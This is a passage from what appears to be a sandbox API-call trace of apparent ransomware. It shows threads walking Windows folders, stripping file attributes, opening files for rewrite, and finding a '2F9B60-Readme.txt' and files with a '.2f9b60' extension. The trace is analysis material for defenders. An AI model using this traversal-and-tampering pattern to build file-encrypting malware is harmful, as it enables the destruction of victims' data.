ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0127.252] FindClose (in: hFindFile=0x1cd9d3d0 | out: hFindFile=0x1cd9d3d0) returned 1 [0127.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267b30) returned 1 [0127.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c510) returned 1 [0127.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b370) returned 1 Thread: id = 1178 os_tid = 0x51c [0113.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205c330 [0113.693] wcscpy (in: _Dest=0x4205c330, _Source="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0113.693] wcscat (in: _Dest=0x4205c330, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0113.693] wcscat (in: _Dest=0x4205c330, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*" [0113.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20267da0 [0113.693] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x20267da0 | out: lpFindFileData=0x20267da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xecdb9f30, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xecdb9f30, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d310 [0113.694] wcscmp (_String1=".", _String2=".") returned 0 [0113.694] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x20267da0 | out: lpFindFileData=0x20267da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xecdb9f30, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xecdb9f30, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.694] wcscmp (_String1="..", _String2=".") returned 1 [0113.694] wcscmp (_String1="..", _String2="..") returned 0 [0113.694] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x20267da0 | out: lpFindFileData=0x20267da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdb9f30, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xecdb9f30, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xece061f0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F9B60-Readme.txt", cAlternateFileName="2F9B60~1.TXT")) returned 1 [0113.694] wcscmp (_String1="2F9B60-Readme.txt", _String2=".") returned 1 [0113.694] wcscmp (_String1="2F9B60-Readme.txt", _String2="..") returned 1 [0113.694] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x20267da0 | out: lpFindFileData=0x20267da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93efac0, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6601040, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="476200261.2f9b60", cAlternateFileName="476200~1.2F9")) returned 1 [0113.694] wcscmp (_String1="476200261.2f9b60", _String2=".") returned 1 [0113.694] wcscmp (_String1="476200261.2f9b60", _String2="..") returned 1 [0113.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x20278fb0 [0113.694] wcscpy (in: _Dest=0x20278fb0, _Source="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0113.694] wcscat (in: _Dest=0x20278fb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0113.694] wcscat (in: _Dest=0x20278fb0, _Source="476200261.2f9b60" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\476200261.2f9b60") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\476200261.2f9b60" [0127.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20278fb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed8 [0127.254] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x20267da0 | out: lpFindFileData=0x20267da0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0127.254] wcscmp (_String1="VC_redist.x86.exe", _String2=".") returned 1 [0127.254] wcscmp (_String1="VC_redist.x86.exe", _String2="..") returned 1 [0127.254] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x20267da0 | out: lpFindFileData=0x20267da0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0127.254] FindClose (in: hFindFile=0x1cd9d310 | out: hFindFile=0x1cd9d310) returned 1 [0127.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267da0) returned 1 [0127.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c330) returned 1 [0127.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b410) returned 1 Thread: id = 1179 os_tid = 0x7a4 [0113.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202792b0 [0113.696] wcscpy (in: _Dest=0x202792b0, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0113.696] wcscat (in: _Dest=0x202792b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0113.696] wcscat (in: _Dest=0x202792b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*" [0113.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027c0b0 [0113.696] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x2027c0b0 | out: lpFindFileData=0x2027c0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d910 [0113.697] wcscmp (_String1=".", _String2=".") returned 0 [0113.697] FindNextFileW (in: hFindFile=0x1cd9d910, lpFindFileData=0x2027c0b0 | out: lpFindFileData=0x2027c0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.697] wcscmp (_String1="..", _String2=".") returned 1 [0113.697] wcscmp (_String1="..", _String2="..") returned 0 [0113.697] FindNextFileW (in: hFindFile=0x1cd9d910, lpFindFileData=0x2027c0b0 | out: lpFindFileData=0x2027c0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0113.697] wcscmp (_String1="packages", _String2=".") returned 1 [0113.697] wcscmp (_String1="packages", _String2="..") returned 1 [0113.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x202791f0 [0113.697] wcscpy (in: _Dest=0x202791f0, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0113.697] wcscat (in: _Dest=0x202791f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0113.697] wcscat (in: _Dest=0x202791f0, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0127.256] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202791f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee4 [0127.256] FindNextFileW (in: hFindFile=0x1cd9d910, lpFindFileData=0x2027c0b0 | out: lpFindFileData=0x2027c0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0127.256] FindClose (in: hFindFile=0x1cd9d910 | out: hFindFile=0x1cd9d910) returned 1 [0127.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027c0b0) returned 1 [0127.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202792b0) returned 1 [0127.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861ac0) returned 1 Thread: id = 1180 os_tid = 0x20c [0113.699] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf")) returned 0x2020 [0113.699] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf", dwFileAttributes=0x20) returned 1 [0113.700] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.700] GetLastError () returned 0x20 [0113.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3400 [0113.700] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0113.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0113.700] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b82a9f0, Size=0x30) returned 0x1cda0130 [0113.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4db60 [0113.700] wcscpy (in: _Dest=0x1cf4db60, _Source="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" [0113.701] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf", dwFileAttributes=0x2020) returned 1 [0113.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7846d0) returned 1 Thread: id = 1181 os_tid = 0xcc8 [0113.709] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racdatabase.sdf")) returned 0x2020 [0113.709] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf", dwFileAttributes=0x20) returned 1 [0113.710] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racdatabase.sdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.710] GetLastError () returned 0x20 [0113.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3400 [0113.710] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0113.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0113.711] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda0130, Size=0x40) returned 0x1b82c350 [0113.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b868b40 [0113.711] wcscpy (in: _Dest=0x1b868b40, _Source="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" [0113.711] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf", dwFileAttributes=0x2020) returned 1 [0113.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8662c0) returned 1 Thread: id = 1182 os_tid = 0xccc [0113.722] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racmetadata.dat")) returned 0x2020 [0113.722] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat", dwFileAttributes=0x20) returned 1 [0113.722] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racmetadata.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.723] GetLastError () returned 0x20 [0113.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3400 [0113.723] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0113.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0113.723] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b82c350, Size=0x50) returned 0x1cd9d790 [0113.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8662c0 [0113.723] wcscpy (in: _Dest=0x1b8662c0, _Source="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat" [0113.723] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat", dwFileAttributes=0x2020) returned 1 [0113.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 Thread: id = 1183 os_tid = 0xcd0 [0113.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b7846d0 [0113.726] wcscpy (in: _Dest=0x1b7846d0, _Source="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" [0113.726] wcscat (in: _Dest=0x1b7846d0, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0113.727] wcscat (in: _Dest=0x1b7846d0, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*" [0113.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027c320 [0113.727] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x2027c320 | out: lpFindFileData=0x2027c320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d670 [0113.728] wcscmp (_String1=".", _String2=".") returned 0 [0113.728] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x2027c320 | out: lpFindFileData=0x2027c320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.728] wcscmp (_String1="..", _String2=".") returned 1 [0113.728] wcscmp (_String1="..", _String2="..") returned 0 [0113.728] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x2027c320 | out: lpFindFileData=0x2027c320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0113.728] wcscmp (_String1="enu-dsk", _String2=".") returned 1 [0113.728] wcscmp (_String1="enu-dsk", _String2="..") returned 1 [0113.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205c3d0 [0113.728] wcscpy (in: _Dest=0x4205c3d0, _Source="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" [0113.728] wcscat (in: _Dest=0x4205c3d0, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0113.728] wcscat (in: _Dest=0x4205c3d0, _Source="enu-dsk" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0127.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x4205c3d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed4 [0127.260] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x2027c320 | out: lpFindFileData=0x2027c320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0127.260] wcscmp (_String1="MSTTSFrontendENU.dll", _String2=".") returned 1 [0127.260] wcscmp (_String1="MSTTSFrontendENU.dll", _String2="..") returned 1 [0127.260] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x2027c320 | out: lpFindFileData=0x2027c320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0127.260] wcscmp (_String1="MSTTSLoc.dll.mui", _String2=".") returned 1 [0127.260] wcscmp (_String1="MSTTSLoc.dll.mui", _String2="..") returned 1 [0127.260] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x2027c320 | out: lpFindFileData=0x2027c320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0127.260] FindClose (in: hFindFile=0x1cd9d670 | out: hFindFile=0x1cd9d670) returned 1 [0127.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027c320) returned 1 [0127.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7846d0) returned 1 [0127.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b880) returned 1 Thread: id = 1184 os_tid = 0xcd4 [0113.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 0x20 [0113.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl", dwFileAttributes=0x20) returned 1 [0113.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe70 [0113.737] GetFileSizeEx (in: hFile=0xe70, lpFileSize=0x1f9ef8c0 | out: lpFileSize=0x1f9ef8c0*=17248) returned 1 [0113.737] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x435c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.737] ReadFile (in: hFile=0xe70, lpBuffer=0x1f9ef840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f9ef888, lpOverlapped=0x0 | out: lpBuffer=0x1f9ef840*, lpNumberOfBytesRead=0x1f9ef888*=0x4, lpOverlapped=0x0) returned 1 [0113.739] SetFilePointerEx (in: hFile=0xe70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9040 [0113.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ad0 [0113.740] RtlAllocateHeap 